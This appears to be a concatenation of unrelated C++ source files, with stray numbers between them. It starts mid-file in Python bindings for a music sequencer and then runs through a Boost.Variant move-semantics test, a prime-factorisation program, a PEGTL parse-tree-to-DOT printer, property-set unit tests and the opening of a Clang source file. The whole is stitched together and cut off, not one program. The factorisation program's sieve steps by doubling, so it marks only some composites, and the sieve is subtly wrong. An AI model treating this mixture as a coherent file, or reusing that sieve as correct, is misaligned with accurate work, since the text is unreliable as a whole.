&Track::setLinkTrack) .def_property_readonly("noteTrack", [] (Track &track) { return &track.noteTrack(); }) .def_property_readonly("curveTrack", [] (Track &track) { return &track.curveTrack(); }) .def_property_readonly("midiCvTrack", [] (Track &track) { return &track.midiCvTrack(); }) .def("clear", &Track::clear) .def("clearPattern", &Track::clearPattern) ; py::enum_<Track::TrackMode>(track, "TrackMode") .value("Note", Track::TrackMode::Note) .value("Curve", Track::TrackMode::Curve) .value("MidiCv", Track::TrackMode::MidiCv) .export_values() ; // ------------------------------------------------------------------------ // NoteTrack // ------------------------------------------------------------------------ py::class_<NoteTrack> noteTrack(m, "NoteTrack"); noteTrack .def_property("playMode", &NoteTrack::playMode, &NoteTrack::setPlayMode) .def_property("fillMode", &NoteTrack::fillMode, &NoteTrack::setFillMode) .def_property("slideTime", &NoteTrack::slideTime, &NoteTrack::setSlideTime) .def_property("octave", &NoteTrack::octave, &NoteTrack::setOctave) .def_property("transpose", &NoteTrack::transpose, &NoteTrack::setTranspose) .def_property("rotate", &NoteTrack::rotate, &NoteTrack::setRotate) .def_property("gateProbabilityBias", &NoteTrack::gateProbabilityBias, &NoteTrack::setGateProbabilityBias) .def_property("retriggerProbabilityBias", &NoteTrack::retriggerProbabilityBias, &NoteTrack::setRetriggerProbabilityBias) .def_property("lengthBias", &NoteTrack::lengthBias, &NoteTrack::setLengthBias) .def_property("noteProbabilityBias", &NoteTrack::noteProbabilityBias, &NoteTrack::setNoteProbabilityBias) .def_property_readonly("sequences", [] (NoteTrack &noteTrack) { py::list result; for (int i = 0; i < CONFIG_PATTERN_COUNT; ++i) { result.append(&noteTrack.sequence(i)); } return result; }) .def("clear", &NoteTrack::clear) ; // ------------------------------------------------------------------------ // CurveTrack // ------------------------------------------------------------------------ py::class_<CurveTrack> curveTrack(m, "CurveTrack"); curveTrack .def_property("playMode", &CurveTrack::playMode, &CurveTrack::setPlayMode) .def_property("fillMode", &CurveTrack::fillMode, &CurveTrack::setFillMode) .def_property("rotate", &CurveTrack::rotate, &CurveTrack::setRotate) .def_property_readonly("sequences", [] (CurveTrack &curveTrack) { py::list result; for (int i = 0; i < CONFIG_PATTERN_COUNT; ++i) { result.append(&curveTrack.sequence(i)); } return result; }) .def("clear", &CurveTrack::clear) ; // ------------------------------------------------------------------------ // MidiCvTrack // ------------------------------------------------------------------------ py::class_<MidiCvTrack> midiCvTrack(m, "MidiCvTrack"); midiCvTrack .def_property_readonly("source", [] (MidiCvTrack &midiCvTrack) { return &midiCvTrack.source(); }) .def_property("voices", &MidiCvTrack::voices, &MidiCvTrack::setVoices) .def_property("voiceConfig", &MidiCvTrack::voiceConfig, &MidiCvTrack::setVoiceConfig) .def_property("pitchBendRange", &MidiCvTrack::pitchBendRange, &MidiCvTrack::setPitchBendRange) .def_property("modulationRange", &MidiCvTrack::modulationRange, &MidiCvTrack::setModulationRange) .def_property("retrigger", &MidiCvTrack::retrigger, &MidiCvTrack::setRetrigger) .def("clear", &MidiCvTrack::clear) ; py::enum_<MidiCvTrack::VoiceConfig>(midiCvTrack, "VoiceConfig") .value("Pitch", MidiCvTrack::VoiceConfig::Pitch) .value("PitchVelocity", MidiCvTrack::VoiceConfig::PitchVelocity) .value("PitchVelocityPressure", MidiCvTrack::VoiceConfig::PitchVelocityPressure) .export_values() ; // ------------------------------------------------------------------------ // NoteSequence // ------------------------------------------------------------------------ py::class_<NoteSequence> noteSequence(m, "NoteSequence"); noteSequence .def_property("scale", &NoteSequence::scale, &NoteSequence::setScale) .def_property("rootNote", &NoteSequence::rootNote, &NoteSequence::setRootNote) .def_property("divisor", &NoteSequence::divisor, &NoteSequence::setDivisor) .def_property("resetMeasure", &NoteSequence::resetMeasure, &NoteSequence::setResetMeasure) .def_property("runMode", &NoteSequence::runMode, &NoteSequence::setRunMode) .def_property("firstStep", &NoteSequence::firstStep, &NoteSequence::setFirstStep) .def_property("lastStep", &NoteSequence::lastStep, &NoteSequence::setLastStep) .def_property_readonly("steps", [] (NoteSequence &noteSequence) { py::list result; for (int i = 0; i < CONFIG_STEP_COUNT; ++i) { result.append(&noteSequence.step(i)); } return result; }) .def("clear", &NoteSequence::clear) .def("clearSteps", &NoteSequence::clearSteps) ; py::class_<NoteSequence::Step> noteSequenceStep(noteSequence, "Step"); noteSequenceStep .def_property("gate", &NoteSequence::Step::gate, &NoteSequence::Step::setGate) .def_property("gateProbability", &NoteSequence::Step::gateProbability, &NoteSequence::Step::setGateProbability) .def_property("slide", &NoteSequence::Step::slide, &NoteSequence::Step::setSlide) .def_property("retrigger", &NoteSequence::Step::retrigger, &NoteSequence::Step::setRetrigger) .def_property("retriggerProbability", &NoteSequence::Step::retriggerProbability, &NoteSequence::Step::setRetriggerProbability) .def_property("length", &NoteSequence::Step::length, &NoteSequence::Step::setLength) .def_property("lengthVariationRange", &NoteSequence::Step::lengthVariationRange, &NoteSequence::Step::setLengthVariationRange) .def_property("lengthVariationProbability", &NoteSequence::Step::lengthVariationProbability, &NoteSequence::Step::setLengthVariationProbability) .def_property("note", &NoteSequence::Step::note, &NoteSequence::Step::setNote) .def_property("noteVariationRange", &NoteSequence::Step::noteVariationRange, &NoteSequence::Step::setNoteVariationRange) .def_property("noteVariationProbability", &NoteSequence::Step::noteVariationProbability, &NoteSequence::Step::setNoteVariationProbability) .def("clear", &NoteSequence::Step::clear) ; // ------------------------------------------------------------------------ // CurveSequence // ------------------------------------------------------------------------ py::class_<CurveSequence> curveSequence(m, "CurveSequence"); curveSequence .def_property("range", &CurveSequence::range, &CurveSequence::setRange) .def_property("divisor", &CurveSequence::divisor, &CurveSequence::setDivisor) .def_property("resetMeasure", &CurveSequence::resetMeasure, &CurveSequence::setResetMeasure) .def_property("runMode", &CurveSequence::runMode, &CurveSequence::setRunMode) .def_property("firstStep", &CurveSequence::firstStep, &CurveSequence::setFirstStep) .def_property("lastStep", &CurveSequence::lastStep, &CurveSequence::setLastStep) .def_property_readonly("steps", [] (CurveSequence &curveSequence) { py::list result; for (int i = 0; i < CONFIG_STEP_COUNT; ++i) { result.append(&curveSequence.step(i)); } return result; }) .def("clear", &CurveSequence::clear) .def("clearSteps", &CurveSequence::clearSteps) ; py::class_<CurveSequence::Step> curveSequenceStep(curveSequence, "Step"); curveSequenceStep .def_property("shape", &CurveSequence::Step::shape, &CurveSequence::Step::setShape) .def_property("min", &CurveSequence::Step::min, &CurveSequence::Step::setMin) .def_property("max", &CurveSequence::Step::max, &CurveSequence::Step::setMax) .def("clear", &CurveSequence::Step::clear) ; // ------------------------------------------------------------------------ // Song // ------------------------------------------------------------------------ // ------------------------------------------------------------------------ // PlayState // ------------------------------------------------------------------------ // ------------------------------------------------------------------------ // Routing // ------------------------------------------------------------------------ // ------------------------------------------------------------------------ // MidiOutput // ------------------------------------------------------------------------ }
16,699
4,886
//----------------------------------------------------------------------------- // boost-libs variant/test/rvalue_test.cpp source file // See http://www.boost.org for updates, documentation, and revision history. //----------------------------------------------------------------------------- // // Copyright (c) 2012 // Antony Polukhin // // Distributed under the Boost Software License, Version 1.0. (See // accompanying file LICENSE_1_0.txt or copy at // http://www.boost.org/LICENSE_1_0.txt) #include "boost/config.hpp" #include "boost/test/minimal.hpp" #include "boost/variant.hpp" // This test requires BOOST_HAS_RVALUE_REFS #ifndef BOOST_HAS_RVALUE_REFS void run() { BOOST_CHECK(true); } #else class move_copy_conting_class { public: static unsigned int moves_count; static unsigned int copy_count; move_copy_conting_class(){} move_copy_conting_class(move_copy_conting_class&&) { ++ moves_count; } move_copy_conting_class& operator=(move_copy_conting_class&&) { ++ moves_count; return *this; } move_copy_conting_class(const move_copy_conting_class&) { ++ copy_count; } move_copy_conting_class& operator=(const move_copy_conting_class&) { ++ copy_count; return *this; } }; unsigned int move_copy_conting_class::moves_count = 0; unsigned int move_copy_conting_class::copy_count = 0; void run() { typedef boost::variant<int, move_copy_conting_class> variant_I_type; variant_I_type v1, v2; // Assuring that `move_copy_conting_class` was not created BOOST_CHECK(move_copy_conting_class::copy_count == 0); BOOST_CHECK(move_copy_conting_class::moves_count == 0); v1 = move_copy_conting_class(); // Assuring that `move_copy_conting_class` was moved at least once BOOST_CHECK(move_copy_conting_class::moves_count != 0); unsigned int total_count = move_copy_conting_class::moves_count + move_copy_conting_class::copy_count; move_copy_conting_class var; v1 = 0; move_copy_conting_class::moves_count = 0; move_copy_conting_class::copy_count = 0; v1 = var; // Assuring that move assignment operator moves/copyes value not more times than copy assignment operator BOOST_CHECK(total_count <= move_copy_conting_class::moves_count + move_copy_conting_class::copy_count); move_copy_conting_class::moves_count = 0; move_copy_conting_class::copy_count = 0; v2 = static_cast<variant_I_type&&>(v1); // Assuring that `move_copy_conting_class` in v1 was moved at least once and was not copied BOOST_CHECK(move_copy_conting_class::moves_count != 0); BOOST_CHECK(move_copy_conting_class::copy_count == 0); v1 = move_copy_conting_class(); move_copy_conting_class::moves_count = 0; move_copy_conting_class::copy_count = 0; v2 = static_cast<variant_I_type&&>(v1); // Assuring that `move_copy_conting_class` in v1 was moved at least once and was not copied BOOST_CHECK(move_copy_conting_class::moves_count != 0); BOOST_CHECK(move_copy_conting_class::copy_count == 0); total_count = move_copy_conting_class::moves_count + move_copy_conting_class::copy_count; move_copy_conting_class::moves_count = 0; move_copy_conting_class::copy_count = 0; v1 = v2; // Assuring that move assignment operator moves/copyes value not more times than copy assignment operator BOOST_CHECK(total_count <= move_copy_conting_class::moves_count + move_copy_conting_class::copy_count); typedef boost::variant<move_copy_conting_class, int> variant_II_type; variant_II_type v3; move_copy_conting_class::moves_count = 0; move_copy_conting_class::copy_count = 0; v1 = static_cast<variant_II_type&&>(v3); // Assuring that `move_copy_conting_class` in v3 was moved at least once (v1 and v3 have different types) BOOST_CHECK(move_copy_conting_class::moves_count != 0); move_copy_conting_class::moves_count = 0; move_copy_conting_class::copy_count = 0; v2 = static_cast<variant_I_type&&>(v1); // Assuring that `move_copy_conting_class` in v1 was moved at least once (v1 and v3 have different types) BOOST_CHECK(move_copy_conting_class::moves_count != 0); move_copy_conting_class::moves_count = 0; move_copy_conting_class::copy_count = 0; variant_I_type v5(static_cast<variant_I_type&&>(v1)); // Assuring that `move_copy_conting_class` in v1 was moved at least once and was not copied BOOST_CHECK(move_copy_conting_class::moves_count != 0); BOOST_CHECK(move_copy_conting_class::copy_count == 0); total_count = move_copy_conting_class::moves_count + move_copy_conting_class::copy_count; move_copy_conting_class::moves_count = 0; move_copy_conting_class::copy_count = 0; variant_I_type v6(v1); // Assuring that move constructor moves/copyes value not more times than copy constructor BOOST_CHECK(total_count <= move_copy_conting_class::moves_count + move_copy_conting_class::copy_count); } #endif int test_main(int , char* []) { run(); return 0; }
5,064
1,802
#include <iostream> #include <vector> int main() { size_t num; if(!scanf("%zu", &num)) return 0; std::vector<bool> isPrime(50000, true); isPrime[0] = isPrime[1] = false; for(size_t i = 2; i < 50000; ++i) { if(!isPrime[i]) continue; for(size_t j = 2 * i; j < 50000; j *= 2) isPrime[j] = false; } printf("%zu=", num); if(num == 1) putchar('1'); for(size_t i = 2, n = num, exp; i < 50000 && n != 1; ++i) { if(!isPrime[i] || n % i != 0) continue; if(n != num) putchar('*'); for(exp = 0; n % i == 0; ++exp) n /= i; printf("%zu", i); if(exp != 1) printf("^%zu", exp); } putchar('\n'); return 0; }
696
317
// Copyright (c) 2019-2020 Dr. Colin Hirsch and Daniel Frey // Please see LICENSE for license or visit https://github.com/taocpp/PEGTL/ #ifndef TAO_PEGTL_CONTRIB_PARSE_TREE_TO_DOT_HPP #define TAO_PEGTL_CONTRIB_PARSE_TREE_TO_DOT_HPP #include <cassert> #include <ostream> #include <string> #include "parse_tree.hpp" namespace tao { namespace TAO_PEGTL_NAMESPACE { namespace parse_tree { namespace internal { inline void escape( std::ostream& os, const char* p, const std::size_t s ) { static const char* h = "0123456789abcdef"; const char* l = p; const char* const e = p + s; while( p != e ) { const unsigned char c = *p; if( c == '\\' ) { os.write( l, p - l ); l = ++p; os << "\\\\"; } else if( c == '"' ) { os.write( l, p - l ); l = ++p; os << "\\\""; } else if( c < 32 ) { os.write( l, p - l ); l = ++p; switch( c ) { case '\b': os << "\\b"; break; case '\f': os << "\\f"; break; case '\n': os << "\\n"; break; case '\r': os << "\\r"; break; case '\t': os << "\\t"; break; default: os << "\\u00" << h[ ( c & 0xf0 ) >> 4 ] << h[ c & 0x0f ]; } } else if( c == 127 ) { os.write( l, p - l ); l = ++p; os << "\\u007f"; } else { ++p; } } os.write( l, p - l ); } inline void escape( std::ostream& os, const std::string& s ) { escape( os, s.data(), s.size() ); } template< typename Node > void print_dot_node( std::ostream& os, const Node& n, const std::string& s ) { os << " x" << &n << " [ label=\""; escape( os, s ); if( n.has_content() ) { os << "\\n"; escape( os, n.m_begin.data, n.m_end.data - n.m_begin.data ); } os << "\" ]\n"; if( !n.children.empty() ) { os << " x" << &n << " -> { "; for( auto& up : n.children ) { os << "x" << up.get() << ( ( up == n.children.back() ) ? " }\n" : ", " ); } for( auto& up : n.children ) { print_dot_node( os, *up, up->name() ); } } } } // namespace internal template< typename Node > void print_dot( std::ostream& os, const Node& n ) { os << "digraph parse_tree\n{\n"; internal::print_dot_node( os, n, n.is_root() ? "ROOT" : n.name() ); os << "}\n"; } } // namespace parse_tree } // namespace TAO_PEGTL_NAMESPACE } // namespace tao #endif
3,651
1,079
/*! \file \brief A property set. Copyright (C) 2019-2021 kaoru https://www.tetengo.org/ */ #include <cstdint> #include <filesystem> #include <iterator> #include <memory> #include <optional> #include <string> #include <string_view> #include <utility> #include <vector> #include <stddef.h> #include <boost/preprocessor.hpp> #include <boost/scope_exit.hpp> #include <boost/test/unit_test.hpp> #include <tetengo/property/memory_storage.hpp> #include <tetengo/property/propertySet.h> #include <tetengo/property/property_set.hpp> #include <tetengo/property/storage.h> #include <tetengo/property/storage.hpp> namespace { const std::filesystem::path& property_set_path() { static const std::filesystem::path singleton{ "test_tetengo.property.property_set" }; return singleton; } } BOOST_AUTO_TEST_SUITE(test_tetengo) BOOST_AUTO_TEST_SUITE(property) BOOST_AUTO_TEST_SUITE(property_set) BOOST_AUTO_TEST_CASE(construction) { BOOST_TEST_PASSPOINT(); { auto p_storage_loader = std::make_unique<tetengo::property::memory_storage_loader>(); const tetengo::property::property_set property_set_{ std::move(p_storage_loader), property_set_path() }; } { auto* const p_storage_loader = tetengo_property_storageLoader_createMemoryStorageLoader(); const auto* const p_property_set = tetengo_property_propertySet_create(p_storage_loader, property_set_path().string().c_str()); BOOST_SCOPE_EXIT(p_property_set) { tetengo_property_propertySet_destroy(p_property_set); } BOOST_SCOPE_EXIT_END; BOOST_TEST(p_property_set); } } BOOST_AUTO_TEST_CASE(get_bool) { BOOST_TEST_PASSPOINT(); { auto p_storage_loader = std::make_unique<tetengo::property::memory_storage_loader>(); const tetengo::property::property_set property_set_{ std::move(p_storage_loader), property_set_path() }; const auto o_value = property_set_.get_bool("alpha"); BOOST_CHECK(!o_value); } { auto* const p_storage_loader = tetengo_property_storageLoader_createMemoryStorageLoader(); const auto* const p_property_set = tetengo_property_propertySet_create(p_storage_loader, property_set_path().string().c_str()); BOOST_SCOPE_EXIT(p_property_set) { tetengo_property_propertySet_destroy(p_property_set); } BOOST_SCOPE_EXIT_END; BOOST_TEST_REQUIRE(p_property_set); auto value = static_cast<int>(0); const auto result = tetengo_property_propertySet_getBool(p_property_set, "alpha", &value); BOOST_TEST(!result); } { auto value = static_cast<int>(0); const auto result = tetengo_property_propertySet_getBool(nullptr, "alpha", &value); BOOST_TEST(!result); } { auto* const p_storage_loader = tetengo_property_storageLoader_createMemoryStorageLoader(); const auto* const p_property_set = tetengo_property_propertySet_create(p_storage_loader, property_set_path().string().c_str()); BOOST_SCOPE_EXIT(p_property_set) { tetengo_property_propertySet_destroy(p_property_set); } BOOST_SCOPE_EXIT_END; BOOST_TEST_REQUIRE(p_property_set); auto value = static_cast<int>(0); const auto result = tetengo_property_propertySet_getBool(p_property_set, nullptr, &value); BOOST_TEST(!result); } { auto* const p_storage_loader = tetengo_property_storageLoader_createMemoryStorageLoader(); const auto* const p_property_set = tetengo_property_propertySet_create(p_storage_loader, property_set_path().string().c_str()); BOOST_SCOPE_EXIT(p_property_set) { tetengo_property_propertySet_destroy(p_property_set); } BOOST_SCOPE_EXIT_END; BOOST_TEST_REQUIRE(p_property_set); const auto result = tetengo_property_propertySet_getBool(p_property_set, "alpha", nullptr); BOOST_TEST(!result); } } BOOST_AUTO_TEST_CASE(set_bool) { BOOST_TEST_PASSPOINT(); { auto p_storage_loader = std::make_unique<tetengo::property::memory_storage_loader>(); tetengo::property::property_set property_set_{ std::move(p_storage_loader), property_set_path() }; property_set_.set_bool("alpha", false); const auto o_value = property_set_.get_bool("alpha"); BOOST_REQUIRE(o_value); BOOST_TEST(!*o_value); } { auto p_storage_loader = std::make_unique<tetengo::property::memory_storage_loader>(); tetengo::property::property_set property_set_{ std::move(p_storage_loader), property_set_path() }; property_set_.set_bool("alpha", true); const auto o_value = property_set_.get_bool("alpha"); BOOST_REQUIRE(o_value); BOOST_TEST(*o_value); } { auto* const p_storage_loader = tetengo_property_storageLoader_createMemoryStorageLoader(); auto* const p_property_set = tetengo_property_propertySet_create(p_storage_loader, property_set_path().string().c_str()); BOOST_SCOPE_EXIT(p_property_set) { tetengo_property_propertySet_destroy(p_property_set); } BOOST_SCOPE_EXIT_END; BOOST_TEST_REQUIRE(p_property_set); tetengo_property_propertySet_setBool(p_property_set, "alpha", 0); auto value = static_cast<int>(0); const auto result = tetengo_property_propertySet_getBool(p_property_set, "alpha", &value); BOOST_TEST_REQUIRE(result); BOOST_TEST(!value); } { auto* const p_storage_loader = tetengo_property_storageLoader_createMemoryStorageLoader(); auto* const p_property_set = tetengo_property_propertySet_create(p_storage_loader, property_set_path().string().c_str()); BOOST_SCOPE_EXIT(p_property_set) { tetengo_property_propertySet_destroy(p_property_set); } BOOST_SCOPE_EXIT_END; BOOST_TEST_REQUIRE(p_property_set); tetengo_property_propertySet_setBool(p_property_set, "alpha", 1); auto value = static_cast<int>(0); const auto result = tetengo_property_propertySet_getBool(p_property_set, "alpha", &value); BOOST_TEST_REQUIRE(result); BOOST_TEST(value); } { tetengo_property_propertySet_setBool(nullptr, "alpha", 0); } { auto* const p_storage_loader = tetengo_property_storageLoader_createMemoryStorageLoader(); auto* const p_property_set = tetengo_property_propertySet_create(p_storage_loader, property_set_path().string().c_str()); BOOST_SCOPE_EXIT(p_property_set) { tetengo_property_propertySet_destroy(p_property_set); } BOOST_SCOPE_EXIT_END; BOOST_TEST_REQUIRE(p_property_set); tetengo_property_propertySet_setBool(p_property_set, nullptr, 0); } } BOOST_AUTO_TEST_CASE(get_uint32) { BOOST_TEST_PASSPOINT(); { auto p_storage_loader = std::make_unique<tetengo::property::memory_storage_loader>(); const tetengo::property::property_set property_set_{ std::move(p_storage_loader), property_set_path() }; const auto o_value = property_set_.get_uint32("bravo"); BOOST_CHECK(!o_value); } { auto* const p_storage_loader = tetengo_property_storageLoader_createMemoryStorageLoader(); const auto* const p_property_set = tetengo_property_propertySet_create(p_storage_loader, property_set_path().string().c_str()); BOOST_SCOPE_EXIT(p_property_set) { tetengo_property_propertySet_destroy(p_property_set); } BOOST_SCOPE_EXIT_END; BOOST_TEST_REQUIRE(p_property_set); auto value = static_cast<::uint32_t>(0); const auto result = tetengo_property_propertySet_getUint32(p_property_set, "alpha", &value); BOOST_TEST(!result); } { auto value = static_cast<::uint32_t>(0); const auto result = tetengo_property_propertySet_getUint32(nullptr, "alpha", &value); BOOST_TEST(!result); } { auto* const p_storage_loader = tetengo_property_storageLoader_createMemoryStorageLoader(); const auto* const p_property_set = tetengo_property_propertySet_create(p_storage_loader, property_set_path().string().c_str()); BOOST_SCOPE_EXIT(p_property_set) { tetengo_property_propertySet_destroy(p_property_set); } BOOST_SCOPE_EXIT_END; BOOST_TEST_REQUIRE(p_property_set); auto value = static_cast<::uint32_t>(0); const auto result = tetengo_property_propertySet_getUint32(p_property_set, nullptr, &value); BOOST_TEST(!result); } { auto* const p_storage_loader = tetengo_property_storageLoader_createMemoryStorageLoader(); const auto* const p_property_set = tetengo_property_propertySet_create(p_storage_loader, property_set_path().string().c_str()); BOOST_SCOPE_EXIT(p_property_set) { tetengo_property_propertySet_destroy(p_property_set); } BOOST_SCOPE_EXIT_END; BOOST_TEST_REQUIRE(p_property_set); const auto result = tetengo_property_propertySet_getUint32(p_property_set, "alpha", nullptr); BOOST_TEST(!result); } } BOOST_AUTO_TEST_CASE(set_uint32) { BOOST_TEST_PASSPOINT(); { auto p_storage_loader = std::make_unique<tetengo::property::memory_storage_loader>(); tetengo::property::property_set property_set_{ std::move(p_storage_loader), property_set_path() }; property_set_.set_uint32("bravo", 42); const auto o_value = property_set_.get_uint32("bravo"); BOOST_REQUIRE(o_value); BOOST_TEST(*o_value == 42U); } { auto* const p_storage_loader = tetengo_property_storageLoader_createMemoryStorageLoader(); auto* const p_property_set = tetengo_property_propertySet_create(p_storage_loader, property_set_path().string().c_str()); BOOST_SCOPE_EXIT(p_property_set) { tetengo_property_propertySet_destroy(p_property_set); } BOOST_SCOPE_EXIT_END; BOOST_TEST_REQUIRE(p_property_set); tetengo_property_propertySet_setUint32(p_property_set, "bravo", 42); auto value = static_cast<::uint32_t>(0); const auto result = tetengo_property_propertySet_getUint32(p_property_set, "bravo", &value); BOOST_TEST_REQUIRE(result); BOOST_TEST(value == 42U); } { tetengo_property_propertySet_setUint32(nullptr, "bravo", 0); } { auto* const p_storage_loader = tetengo_property_storageLoader_createMemoryStorageLoader(); auto* const p_property_set = tetengo_property_propertySet_create(p_storage_loader, property_set_path().string().c_str()); BOOST_SCOPE_EXIT(p_property_set) { tetengo_property_propertySet_destroy(p_property_set); } BOOST_SCOPE_EXIT_END; BOOST_TEST_REQUIRE(p_property_set); tetengo_property_propertySet_setUint32(p_property_set, nullptr, 0); } } BOOST_AUTO_TEST_CASE(get_string) { BOOST_TEST_PASSPOINT(); { auto p_storage_loader = std::make_unique<tetengo::property::memory_storage_loader>(); const tetengo::property::property_set property_set_{ std::move(p_storage_loader), property_set_path() }; const auto o_value = property_set_.get_string("charlie"); BOOST_CHECK(!o_value); } { auto* const p_storage_loader = tetengo_property_storageLoader_createMemoryStorageLoader(); const auto* const p_property_set = tetengo_property_propertySet_create(p_storage_loader, property_set_path().string().c_str()); BOOST_SCOPE_EXIT(p_property_set) { tetengo_property_propertySet_destroy(p_property_set); } BOOST_SCOPE_EXIT_END; BOOST_TEST_REQUIRE(p_property_set); const auto length = tetengo_property_propertySet_getString(p_property_set, "charlie", nullptr, 0); BOOST_TEST(length == static_cast<size_t>(-1)); } { const auto length = tetengo_property_propertySet_getString(nullptr, "charlie", nullptr, 0); BOOST_TEST(length == static_cast<size_t>(-1)); } { auto* const p_storage_loader = tetengo_property_storageLoader_createMemoryStorageLoader(); const auto* const p_property_set = tetengo_property_propertySet_create(p_storage_loader, property_set_path().string().c_str()); BOOST_SCOPE_EXIT(p_property_set) { tetengo_property_propertySet_destroy(p_property_set); } BOOST_SCOPE_EXIT_END; BOOST_TEST_REQUIRE(p_property_set); const auto length = tetengo_property_propertySet_getString(p_property_set, nullptr, nullptr, 0); BOOST_TEST(length == static_cast<size_t>(-1)); } } BOOST_AUTO_TEST_CASE(set_string) { BOOST_TEST_PASSPOINT(); { auto p_storage_loader = std::make_unique<tetengo::property::memory_storage_loader>(); tetengo::property::property_set property_set_{ std::move(p_storage_loader), property_set_path() }; property_set_.set_string("charlie", "hoge"); const auto o_value = property_set_.get_string("charlie"); BOOST_REQUIRE(o_value); BOOST_TEST(*o_value == "hoge"); } { auto* const p_storage_loader = tetengo_property_storageLoader_createMemoryStorageLoader(); auto* const p_property_set = tetengo_property_propertySet_create(p_storage_loader, property_set_path().string().c_str()); BOOST_SCOPE_EXIT(p_property_set) { tetengo_property_propertySet_destroy(p_property_set); } BOOST_SCOPE_EXIT_END; BOOST_TEST_REQUIRE(p_property_set); tetengo_property_propertySet_setString(p_property_set, "charlie", "hoge"); const auto length = tetengo_property_propertySet_getString(p_property_set, "charlie", nullptr, 0); BOOST_TEST_REQUIRE(length == 4U); std::vector<char> value(length + 1, '\0'); const auto length_again = tetengo_property_propertySet_getString(p_property_set, "charlie", std::data(value), std::size(value)); BOOST_TEST_REQUIRE(length_again == length); BOOST_TEST((std::string_view{ std::data(value), length } == "hoge")); } { tetengo_property_propertySet_setString(nullptr, "charlie", "hoge"); } { auto* const p_storage_loader = tetengo_property_storageLoader_createMemoryStorageLoader(); auto* const p_property_set = tetengo_property_propertySet_create(p_storage_loader, property_set_path().string().c_str()); BOOST_SCOPE_EXIT(p_property_set) { tetengo_property_propertySet_destroy(p_property_set); } BOOST_SCOPE_EXIT_END; BOOST_TEST_REQUIRE(p_property_set); tetengo_property_propertySet_setString(p_property_set, nullptr, "hoge"); } { auto* const p_storage_loader = tetengo_property_storageLoader_createMemoryStorageLoader(); auto* const p_property_set = tetengo_property_propertySet_create(p_storage_loader, property_set_path().string().c_str()); BOOST_SCOPE_EXIT(p_property_set) { tetengo_property_propertySet_destroy(p_property_set); } BOOST_SCOPE_EXIT_END; BOOST_TEST_REQUIRE(p_property_set); tetengo_property_propertySet_setString(p_property_set, "charlie", nullptr); } } BOOST_AUTO_TEST_CASE(update) { BOOST_TEST_PASSPOINT(); { auto p_storage_loader1 = std::make_unique<tetengo::property::memory_storage_loader>(); tetengo::property::property_set property_set1{ std::move(p_storage_loader1), property_set_path() }; auto p_storage_loader2 = std::make_unique<tetengo::property::memory_storage_loader>(); tetengo::property::property_set property_set2{ std::move(p_storage_loader2), property_set_path() }; property_set1.set_uint32("hoge.cpp", 42); property_set1.commit(); { const auto o_value = property_set2.get_uint32("hoge.cpp"); BOOST_CHECK(!o_value); } property_set2.update(); { const auto o_value = property_set2.get_uint32("hoge.cpp"); BOOST_REQUIRE(o_value); BOOST_TEST(*o_value == 42U); } } { auto* const p_storage_loader1 = tetengo_property_storageLoader_createMemoryStorageLoader(); auto* const p_property_set1 = tetengo_property_propertySet_create(p_storage_loader1, property_set_path().string().c_str()); BOOST_SCOPE_EXIT(p_property_set1) { tetengo_property_propertySet_destroy(p_property_set1); } BOOST_SCOPE_EXIT_END; BOOST_TEST_REQUIRE(p_property_set1); auto* const p_storage_loader2 = tetengo_property_storageLoader_createMemoryStorageLoader(); auto* const p_property_set2 = tetengo_property_propertySet_create(p_storage_loader2, property_set_path().string().c_str()); BOOST_SCOPE_EXIT(p_property_set2) { tetengo_property_propertySet_destroy(p_property_set2); } BOOST_SCOPE_EXIT_END; BOOST_TEST_REQUIRE(p_property_set2); tetengo_property_propertySet_setUint32(p_property_set1, "hoge", 42); tetengo_property_propertySet_commit(p_property_set1); { auto value = static_cast<::uint32_t>(0); const auto result = tetengo_property_propertySet_getUint32(p_property_set2, "hoge", &value); BOOST_TEST(!result); } tetengo_property_propertySet_update(p_property_set2); { auto value = static_cast<::uint32_t>(0); const auto result = tetengo_property_propertySet_getUint32(p_property_set2, "hoge", &value); BOOST_TEST_REQUIRE(result); BOOST_TEST(value == 42U); } } } BOOST_AUTO_TEST_CASE(commit) { BOOST_TEST_PASSPOINT(); { auto p_storage_loader = std::make_unique<tetengo::property::memory_storage_loader>(); tetengo::property::property_set property_set_{ std::move(p_storage_loader), property_set_path() }; property_set_.set_uint32("hoge.cpp", 42); property_set_.commit(); } { auto p_storage_loader = std::make_unique<tetengo::property::memory_storage_loader>(); const tetengo::property::property_set property_set_{ std::move(p_storage_loader), property_set_path() }; const auto o_value = property_set_.get_uint32("hoge.cpp"); BOOST_REQUIRE(o_value); BOOST_TEST(*o_value == 42U); } { auto* const p_storage_loader = tetengo_property_storageLoader_createMemoryStorageLoader(); auto* const p_property_set = tetengo_property_propertySet_create(p_storage_loader, property_set_path().string().c_str()); BOOST_SCOPE_EXIT(p_property_set) { tetengo_property_propertySet_destroy(p_property_set); } BOOST_SCOPE_EXIT_END; BOOST_TEST_REQUIRE(p_property_set); tetengo_property_propertySet_setUint32(p_property_set, "hoge", 42); tetengo_property_propertySet_commit(p_property_set); } { auto* const p_storage_loader = tetengo_property_storageLoader_createMemoryStorageLoader(); const auto* const p_property_set = tetengo_property_propertySet_create(p_storage_loader, property_set_path().string().c_str()); BOOST_SCOPE_EXIT(p_property_set) { tetengo_property_propertySet_destroy(p_property_set); } BOOST_SCOPE_EXIT_END; BOOST_TEST_REQUIRE(p_property_set); auto value = static_cast<::uint32_t>(0); const auto result = tetengo_property_propertySet_getUint32(p_property_set, "hoge", &value); BOOST_TEST_REQUIRE(result); BOOST_TEST(value == 42U); } } BOOST_AUTO_TEST_SUITE_END() BOOST_AUTO_TEST_SUITE_END() BOOST_AUTO_TEST_SUITE_END()
21,064
7,003
//===- ExprCXX.cpp - (C++) Expression AST Node Implementation -------------===// // // Part of the LLVM Project, under the Apache License v2.0 with LLVM Exceptions. // See https://llvm.org/LICENSE.txt for license information. // SPDX-License-Identifier: Apache-2.0 WITH LLVM-exception // //===----------------------------------------------------------------------===// // // This file implements the subclesses of Expr class declared in ExprCXX.h // //===----------------------------------------------------------------------===// #include "clang/AST/ExprCXX.h" #include "clang/AST/ASTContext.h" #include "clang/AST/Attr.h" #include "clang/AST/Decl.h" #include "clang/AST/DeclAccessPair.h" #include "clang/AST/DeclBase.h" #include "clang/AST/DeclCXX.h" #include "clang/AST/DeclarationName.h" #include "clang/AST/Expr.h" #include "clang/AST/LambdaCapture.h" #include "clang/AST/NestedNameSpecifier.h" #include "clang/AST/TemplateBase.h" #include "clang/AST/Type.h" #include "clang/AST/TypeLoc.h" #include "clang/Basic/LLVM.h" #include "clang/Basic/OperatorKinds.h" #include "clang/Basic/SourceLocation.h" #include 